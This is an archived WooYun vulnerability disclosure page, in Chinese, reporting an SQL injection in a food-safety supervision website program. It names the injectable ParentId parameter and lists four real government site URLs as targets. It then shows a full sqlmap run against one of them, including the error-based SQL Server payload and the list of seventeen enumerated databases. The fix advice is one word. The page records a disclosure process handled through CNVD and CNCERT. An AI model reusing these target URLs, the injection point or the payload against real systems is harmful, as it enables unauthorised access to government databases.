当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066812

漏洞标题:某食品安全责任监督网程序存在通用型SQL注入

相关厂商:山东浪潮齐鲁软件产业股份有限公司提供技术支持

漏洞作者: Lonely

提交时间:2014-07-03 12:56

修复时间:2014-10-01 12:58

公开时间:2014-10-01 12:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-03: 细节已通知厂商并且等待厂商处理中
2014-07-08: 厂商已经确认,细节仅向厂商公开
2014-07-11: 细节向第三方安全合作伙伴开放
2014-09-01: 细节向核心白帽子及相关领域专家公开
2014-09-11: 细节向普通白帽子公开
2014-09-21: 细节向实习白帽子公开
2014-10-01: 细节向公众公开

简要描述:

求-土豪-妹纸-大神 带我装逼 带我︿( ̄︶ ̄)︽( ̄︶ ̄)︿飞.飞.飞.

详细说明:

关键词:主办:中共忻州市纪律检查委员会 技术支持:山东浪潮齐鲁软件产业股份有限公司提供技术支持
咳咳 好的关键词就要靠自己去构造了。
存在注入点:
newsPage/InfoListRight.aspx?ParentId=Type001001012
案例:
1:http://www.szmtaqsczrjdw.gov.cn/webPages/newsPage/InfoListRight.aspx?ParentId=Type001001012
2:http://www.xzsajd.gov.cn/Web/webPages/newsPage/InfoListRight.aspx?ParentId=Type001001012
3:http://dflz.jccftxw.cn//newsPage/InfoListRight.aspx?ParentId=
4:http://www.lfspaq.gov.cn/webPages/newsPage/InfoListRight.aspx?ParentId=Type001001012

漏洞证明:

案例注入证明:
G:\Python27\sqlmap>sqlmap.py -u "http://www.szmtaqsczrjdw.gov.cn/webPages/newsPa
ge/InfoListRight.aspx?ParentId=Type001001012" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 05:00:18
[05:00:18] [WARNING] using 'C:\Documents and Settings\mm\.sqlmap\output' as the
output directory
[05:00:19] [INFO] resuming back-end DBMS 'microsoft sql server'
[05:00:19] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ParentId
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ParentId=Type001001012%' AND 8120=CONVERT(INT,(SELECT CHAR(113)+CHA
R(101)+CHAR(104)+CHAR(119)+CHAR(113)+(SELECT (CASE WHEN (8120=8120) THEN CHAR(49
) ELSE CHAR(48) END))+CHAR(113)+CHAR(108)+CHAR(120)+CHAR(110)+CHAR(113))) AND '%
'='
---
[05:00:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[05:00:19] [INFO] fetching database names
[05:00:19] [INFO] the SQL query used returns 17 entries
[05:00:24] [INFO] resumed: Finix_SafetyProduction
[05:00:24] [INFO] resumed: master
[05:00:24] [INFO] resumed: tempdb
[05:00:24] [INFO] resumed: model
[05:00:24] [INFO] resumed: msdb
[05:00:24] [INFO] resumed: ReportServer
[05:00:24] [INFO] resumed: ReportServerTempDB
[05:00:24] [INFO] resumed: JHCS_DataExchangeCenter_Enforce_noah
[05:00:24] [INFO] resumed: JHCS_Finix_Workflow_Enforce_noah
[05:00:24] [INFO] resumed: JHCS_IntegratedSupervise_Enforce_noah
[05:00:24] [INFO] resumed: Finix_SafetyProduction
[05:00:24] [INFO] resumed: sms
[05:00:24] [INFO] resumed: pubres
[05:00:24] [INFO] resumed: pubreout
[05:00:24] [INFO] resumed: itruscadb
[05:00:24] [INFO] resumed: finix_comp
[05:00:24] [INFO] resumed: Exchange_CompCity
[05:00:24] [INFO] resumed: ChengFang_ShuoZhouFinix
[05:00:24] [INFO] resumed:
available databases [17]:
[*] ChengFang_ShuoZhouFinix
[*] Exchange_CompCity
[*] finix_comp
[*] Finix_SafetyProduction
[*] itruscadb
[*] JHCS_DataExchangeCenter_Enforce_noah
[*] JHCS_Finix_Workflow_Enforce_noah
[*] JHCS_IntegratedSupervise_Enforce_noah
[*] master
[*] model
[*] msdb
[*] pubreout
[*] pubres
[*] ReportServer
[*] ReportServerTempDB
[*] sms
[*] tempdb
[05:00:24] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 17 times
[05:00:24] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\mm\.sqlmap\output\www.szmtaqsczrjdw.gov.cn'
[*] shutting down at 05:00:24

修复方案:

修复。

版权声明:转载请注明来源 Lonely@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-07-08 11:05

厂商回复:

CNVD确认所述情况,通用性有待进一步确认,有可能是定制系统。根据测试实例,已经转由CNCERT下发给山西分中心处置。

最新状态:

暂无